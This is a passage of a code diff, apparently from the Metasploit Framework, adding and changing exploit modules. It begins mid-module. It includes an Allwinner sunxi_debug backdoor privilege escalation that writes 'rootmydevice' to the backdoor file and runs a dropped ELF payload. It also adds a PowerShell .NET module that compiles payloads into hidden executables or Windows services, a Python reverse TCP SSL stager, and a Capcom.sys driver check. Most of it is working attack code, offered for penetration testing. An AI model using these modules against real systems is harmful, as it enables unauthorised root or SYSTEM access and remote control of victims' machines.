if file_exist?(backdoor)
vprint_good "Backdoor found, exploiting."
cmd_exec("echo rootmydevice > #{backdoor}")
if is_root?
print_good "Privilege Escalation Successful"
report_vuln(
host: session.session_host,
name: self.name,
refs: self.references,
info: 'Escalated to root shell via Allwinner backdoor'
)
else
print_error "Privilege Escalation FAILED"
end
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
backdoor = '/proc/sunxi_debug/sunxi_debug'
if file_exist?(backdoor)
pl = generate_payload_exe
exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
vprint_good "Backdoor Found, writing payload to #{exe_file}"
write_file(exe_file, pl)
cmd_exec("chmod +x #{exe_file}")
vprint_good 'Escalating'
cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
else
print_error "Backdoor #{backdoor} not found."
end

View File

@ -71,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
exec_in_place: true
)
else
data = %Q(#{payload.encoded} )

View File

@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic openssl'
}
},

View File

@ -69,7 +69,11 @@ class MetasploitModule < Msf::Exploit::Remote
)
unless res && res.code == 200
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')
if res
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
else
fail_with(Failure::Unreachable, 'Connection timed out.')
end
end
vprint_good 'Enabled V3 functionality'
@ -85,6 +89,8 @@ class MetasploitModule < Msf::Exploit::Remote
if res && res.code == 200
vprint_good 'Disabled V3 functionality'
elsif !res
print_error('Connection timed out while disabling V3 functionality')
else
print_error 'Failed to disable the vulnerable V3 functionality'
end

View File

@ -51,21 +51,28 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
if sysinfo['OS'] !~ /windows 7/i
if sysinfo['OS'] !~ /windows (7|8)/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
else
if sysinfo['Architecture'] !~ /(wow|x)64/i
return Exploit::CheckCode::Safe
end
file_path = expand_path('%windir%') << '\\system32\\capcom.sys'
return Exploit::CheckCode::Safe unless file_exist?(file_path)
# Validate that the driver has been loaded and that
# the version is the same as the one expected
client.sys.config.getdrivers.each do |d|
if d[:basename].downcase == 'capcom.sys'
expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
target_checksum = client.fs.file.md5(d[:filename])
# TODO: check for the capcom.sys driver and its version.
return Exploit::CheckCode::Appears
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
return Exploit::CheckCode::Appears
end
end
end
return Exploit::CheckCode::Safe
end
def exploit

View File

@ -0,0 +1,189 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Powershell::DotNet
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => "Powershell Payload Execution",
'Description' => %q{
This module generates a dynamic executable on the session host using .NET templates.
Code is pulled from C# templates and impregnated with a payload before being
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
the executable (standard or Windows service) in memory and produces a binary
which can be started/installed and downloaded for later use. After compilation the
PoweShell session can also sign the executable if provided a path the a .pfx formatted
certificate.
},
'License' => MSF_LICENSE,
'Author' => [
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
'Matt "hostess" Andreko' # .NET harness, and requested modifications
],
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
},
},
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 14 2012'
))
register_options(
[
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
], self.class)
register_advanced_options(
[
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
OptString.new('USERNAME', [false, 'Windows username']),
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
], self.class)
end
def exploit
# Make sure we meet the requirements before running the script
if !(session.type == "meterpreter" || have_powershell?)
print_error("Incompatible Environment")
return
end
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
print_error("Cannot run as system")
return
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
com_opts = {}
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
com_opts[:payload] = payload_script #payload.encoded
vprint_good com_opts[:payload].length.to_s
if datastore['SVC_GEN']
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
else
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
end
com_opts[:cert] = datastore['CERT_PATH']
if datastore['SVC_REMOVE']
remove_dyn_service(com_opts[:target])
return
end
vprint_good("Writing to #{com_opts[:target]}")
com_script = dot_net_compiler(com_opts)
ps_out = psh_exec(com_script)
if datastore['Powershell::Post::dry_run']
print_good com_script
print_error ps_out
return
end
# Check for result
begin
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
rescue
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
return
end
# Run the harness
if datastore['START_APP']
if datastore['SVC_GEN']
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Started")
end
else
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
end
end
print_good('Finished!')
end
# This should be handled by the exploit mixin, right?
def payload_script
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
payload = pay_mod.generate_simple(
"BadChars" => '',
"Format" => 'raw',
"Encoder" => 'x86/alpha_mixed',
"ForceEncode" => true,
"Options" =>
{
'LHOST' => datastore['LHOST'],
'LPORT' => datastore['LPORT'],
'EXITFUNC' => 'thread',
'BufferRegister' => 'EAX'
},
)
# To ensure compatibility out payload should be US-ASCII
return payload.encode('ASCII')
end
# Local service functionality should probably be replaced with upstream Post
def remove_dyn_service(file_path)
service_stop(datastore['SVC_NAME'])
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
session.fs.file.rm(file_path.gsub('\\','\\\\'))
else
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
end
return
end
def install_dyn_service(file_path)
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Binary #{file_path} Started")
end
end
end

View File

@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/payload/android'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'

View File

@ -0,0 +1,30 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp_ssl'
require 'msf/core/payload/python/reverse_tcp_ssl'
module MetasploitModule
CachedSize = 378
include Msf::Payload::Stager
include Msf::Payload::Python::ReverseTcpSsl
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse TCP SSL Stager',
'Description' => 'Reverse Python connect back stager using SSL',
'Author' => ['Ben Campbell', 'RageLtMan'],
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Stager' => {'Payload' => ""}
))
end
end

View File

@ -0,0 +1,124 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell::DotNet
def initialize(info = {})
super(
update_info(
info,
'Name' => "Powershell .NET Compiler",
'Description' => %q(
This module will build a .NET source file using powershell. The compiler builds
the executable or library in memory and produces a binary. After compilation the
PowerShell session can also sign the executable if provided a path the
a .pfx formatted certificate. Compiler options and a list of assemblies
required can be configured in the datastore.
),
'License' => MSF_LICENSE,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 14 2012'
)
)
register_options(
[
OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
], self.class
)
register_advanced_options(
[
OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
], self.class
)
end
def run
# Make sure we meet the requirements before running the script
unless session.type == "meterpreter" || have_powershell?
print_error "Incompatible Environment"
return 0
end
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
print_error "Cannot run as system"
return 0
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
net_com_opts = {}
net_com_opts[:target] =
datastore['OUTPUT_TARGET'] ||
"#{session.fs.file.expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
net_com_opts[:provider] = datastore['CODE_PROVIDER']
net_com_opts[:assemblies] = datastore['ASSEMBLIES']
net_com_opts[:net_clr] = datastore['NET_CLR_VER']
net_com_opts[:cert] = datastore['CERT_PATH']
begin
net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
script = dot_net_compiler(net_com_opts)
if datastore['Powershell::Post::dry_run']
print_good "Compiler code:\n#{script}"
return
end
rescue => e
print_error e
return
end
vprint_good "Writing to #{net_com_opts[:target]}"
# Execute the powershell script
print_status 'Building remote code.'
cmd_out, running_pids, open_channels = execute_script(script, true)
get_ps_output(cmd_out, eof)
vprint_good "Cleaning up #{running_pids.join(', ')}"
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
# Check for result
begin
size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
rescue
print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
return
end
# Run the result
if datastore['RUN_BINARY']
cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
nil, 'Hidden' => true, 'Channelized' => true)
while (out = cmd_out.channel.read)
print_good out
end
end
print_good 'Finished!'
end
end

View File

@ -1174,8 +1174,15 @@ module Msf
file_id = export["file"]
print_good("The export file ID for scan ID #{scan_id} is #{file_id}")
print_status("Checking export status...")
status = @n.scan_export_status(scan_id, file_id)
if status == "ready"
begin
status = @n.scan_export_status(scan_id, file_id)
print_status("Export status: " + status["status"])
if status["status"]=="ready"
break
end
sleep(1)
end while (status["status"]=="loading")
if status["status"] == "ready"
print_status("The status of scan ID #{scan_id} export is ready")
select(nil, nil, nil, 5)
report = @n.report_download(scan_id, file_id)
@ -1450,8 +1457,15 @@ module Msf
file_id = export["file"]
print_good("The export file ID for scan ID #{scan_id} is #{file_id}")
print_status("Checking export status...")
status = @n.scan_export_status(scan_id, file_id)
if status == "ready"
begin
status = @n.scan_export_status(scan_id, file_id)
print_status("Export status: " + status["status"])
if status["status"]=="ready"
break
end
sleep(1)
end while (status["status"]=="loading")
if status["status"] == "ready"
print_good("The status of scan ID #{scan_id} export is ready")
else
print_error("There was some problem in exporting the scan. The error message is #{status}")
@ -1477,8 +1491,15 @@ module Msf
when 2
scan_id = args[0]
file_id = args[1]
status = @n.scan_export_status(scan_id, file_id)
if status == "ready"
begin
status = @n.scan_export_status(scan_id, file_id)
print_status("Export status: " + status["status"])
if status["status"]=="ready"
break
end
sleep(1)
end while (status["status"]=="loading")
if status["status"] == "ready"
print_status("The status of scan ID #{scan_id} export is ready")
else
print_error("There was some problem in exporting the scan. The error message is #{status}")

View File

@ -2284,6 +2284,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'python/meterpreter/reverse_tcp'
end
context 'python/meterpreter/reverse_tcp_ssl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/python/reverse_tcp_ssl',
'stages/python/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter/reverse_tcp_ssl'
end
context 'python/meterpreter/reverse_tcp_uuid' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [